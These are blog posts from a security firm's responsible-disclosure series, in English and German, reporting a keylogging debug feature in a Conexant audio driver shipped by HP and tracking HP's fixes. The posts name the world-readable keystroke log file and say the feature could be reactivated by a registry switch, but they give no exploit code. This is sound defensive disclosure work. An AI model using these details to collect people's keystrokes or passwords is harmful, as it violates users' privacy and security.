Unfortunately, HP still did not try to get in touch with us, otherwise we could have contacted HP directly with information that the update still provides the keylogging functions.

The keylogger was still there and had to be activated only by a switch in the Windows Registry. Thus, it is basically just an additional line of program code necessary, to repurpose the MicTray64 program and turn it into a remotely key-logging malware, as described in this very recommendable article.

On May 14th, HP again released an update in which the questionable debugging features, which turned the software effectively into a keylogger, were removed.

Meanwhile, HP also contacted us, which we appreciate much. Finally, the keylogging thing in the HP audio driver package is no longer an issue. Hewlett-Packard has published its own security bulletin and we updated our Security Advisory at https://www.modzero.ch/advisories/MZ-17-01-Conexant-Keylogger.txt as well.


Posted by Thorsten Schroeder | Permanent link | File under: security, re, advisory

2017-05-16

[DE] Update: Keylogger in Hewlett-Packard Audio-Treiber

Eine Englische Version befindet sich hier – English version is located right here

Am 11. Mai 2017 haben wir Informationen über eine fragwürdige Funktion in einem Audio-Treiber-Paket von HP veröffentlicht. Bei dieser Funktion handelte es sich um einen versehentlich eingebauten Keylogger, der in einem Programm des Herstellers Conexant implementiert und von HP an seine Kunden ausgeliefert wurde. HP hat das Problem nun behoben.

Noch am gleichen Tag unserer ersten Veröffentlichung hat HP ein neues Treiber-Paket veröffentlicht. Nicht ganz so schnell waren wir mit der Überprüfung des bereitgestellten Patches, und so haben wir uns erst am 13. Mai das Update angeschaut.

HP hatte bis dahin leider immer noch keinen Kontakt zu uns aufgenommen, sonst hätten wir die Information, dass das Update immer noch die Keylogging-Funktionen bereitstellt, direkt mitteilen können.

Der Keylogger war also immer noch vorhanden und musste nur über einen Schalter in der Windows Registry aktiviert werden. Es ist also im Grunde einfach eine Zeile Programmcode mehr notwendig, wenn man das MicTray64 Programm zweckentfremdet, wie in diesem sehr lesenswerten Artikel beschrieben wird.

Am 14. Mai veröffentlichte HP dann erneut ein Update, in dem die fraglichen Debug-Funktionen, die aus der Software effektiv einen Keylogger machten, entfernt waren.

Mittlerweile hat HP uns auch kontaktiert, was uns natürlich freut. Nun dürfte die Sache mit dem Keylogger im HP Audio-Treiber-Paket also vom Tisch sein. Hewlett-Packard hat ein eigenes Security-Bulletin veröffentlicht, und wir haben unser Security Advisory unter https://www.modzero.ch/advisories/MZ-17-01-Conexant-Keylogger.txt angepasst.


Posted by Thorsten Schroeder | Permanent link | File under: security, re, advisory

2017-05-11

[EN] Keylogger in Hewlett-Packard Audio Driver

Eine Deutsche Version befindet sich hier – German version right here

Security reviews of modern Windows Active Domain infrastructures are – from our point of view – quite sobering. Therefore, we often look left and right, when, for example, examining the hardening of protection mechanisms of a workstation. Here, we often find all sorts of dangerous and ill-conceived stuff. We want to present one of these casually identified cases now, as it's quite an interesting one: We have discovered a keylogger in an audio driver package by Hewlett-Packard.

A keylogger is a piece of software for which the case of dual-use can rarely be claimed. This means there are very few situations where you would describe a keylogger that records all keystrokes as 'well-intended'. A keylogger records when a key is pressed, when it is released, and whether any shift or special keys have been pressed. It is also recorded if, for example, a password is entered even if it is not displayed on the screen.

So what's the point of a keylogger in an audio driver? Does HP deliver pre-installed spyware? Is HP itself a victim of a backdoored software that third-party vendors have developed on behalf of HP? The responsibility in this case is uncertain, because the software is offered by HP as a driver package for their own devices on their website. On the other hand, the software was developed and digitally signed by the audio chip manufacturer Conexant.

Conexant is a manufacturer of integrated circuits, emerging from a US armaments manufacturer. Primarily, they develop circuits in the field of video and audio processing. Thus, it is not uncommon for Conexant audio ICs to be populated on the sound cards of computers of various manufacturers. Conexant also develops drivers for its audio chips, so that the operating system is able to communicate with the hardware. Apparently, there are some parts for the control of the audio hardware, which are very specific and depend on the computer model - for example special keys for turning on or off a microphone or controlling the recording LED on the computer. In this code, which seems to be tailored to HP computers, there is a part that intercepts and processes all keyboard input.

Actually, the purpose of the software is to recognize whether a special key has been pressed or released. Instead, however, the developer has introduced a number of diagnostic and debugging features to ensure that all keystrokes are either broadcasted through a debugging interface or written to a log file in a public directory on the hard-drive.

This type of debugging turns the audio driver effectively into a keylogging spyware. On the basis of meta-information of the files, this keylogger has already existed on HP computers since at least Christmas 2015.

Verifying: MicTray64.exe
Signature Index: 0 (Primary Signature)
Hash of file (sha1): 3FE5F7704DF5989717A029BC3DA99527373797D2
 
Signing Certificate Chain:
[...]
            Issued to: Conexant Systems, Inc.
            Issued by: VeriSign Class 3 Code Signing 2010 CA
            Expires:   Mon Jul 03 01:59:59 2017
            SHA1 hash: 505507C3221B63E658D197E75EAEE0D3BC100F6C
 
The signature is timestamped: Thu Dec 24 10:07:19 2015
Timestamp Verified by:
    Issued to: Thawte Timestamping CA
    Issued by: Thawte Timestamping CA
    Expires:   Fri Jan 01 01:59:59 2021
    SHA1 hash: BE36A4562FB2EE05DBB3D32323ADF445084ED656
[...]

Version 1.0.0.31 of this program was later extended by even more problematic functions: The most recent version 1.0.0.46 implements the logging of all keystrokes into the publicly for any user readable file C:\Users\Public\MicTray.log. Although the file is overwritten after each login, the content is likely to be easily monitored by running processes or forensic tools. If you regularly make incremental backups of your hard-drive - whether in the cloud or on an external hard-drive – a history of all keystrokes of the last few years could probably be found in your backups.

There is no evidence that this keylogger has been intentionally implemented. Obviously, it is a negligence of the developers - which makes the software no less harmful. If the developer would just disable all logging, using debug-logs only in the development environment, there wouldn't be problems with the confidentiality of the data of any user.

Neither HP Inc. nor Conexant Systems Inc. have responded to any contact requests. Only HP Enterprise (HPE) refused any responsibility, and sought contacts at HP Inc. through internal channels.

Therefore, we are now publishing this information in accordance with our Responsible Disclosure process, even if the HP and Conexant issues are neither confirmed nor corrected by the affected vendors.

All users of HP computers should check whether the program C:\Windows\System32\MicTray64.exe or C:\Windows\System32\MicTray.exe is installed. We recommend that you delete or rename the executable files so that no keystrokes are recorded anymore. However, the special function keys on the keyboards might no longer work as expected. If a C:\Users\Public\MicTray.log file exists on the hard-drive, it should also be deleted immediately, as it can contain a lot of sensitive information such as login-information and passwords.

The exact technical details and documents can be found in our Security Advisory https://www.modzero.ch/advisories/MZ-17-01-Conexant-Keylogger.txt.


Posted by Thorsten Schroeder | Permanent link | File under: security, re, advisory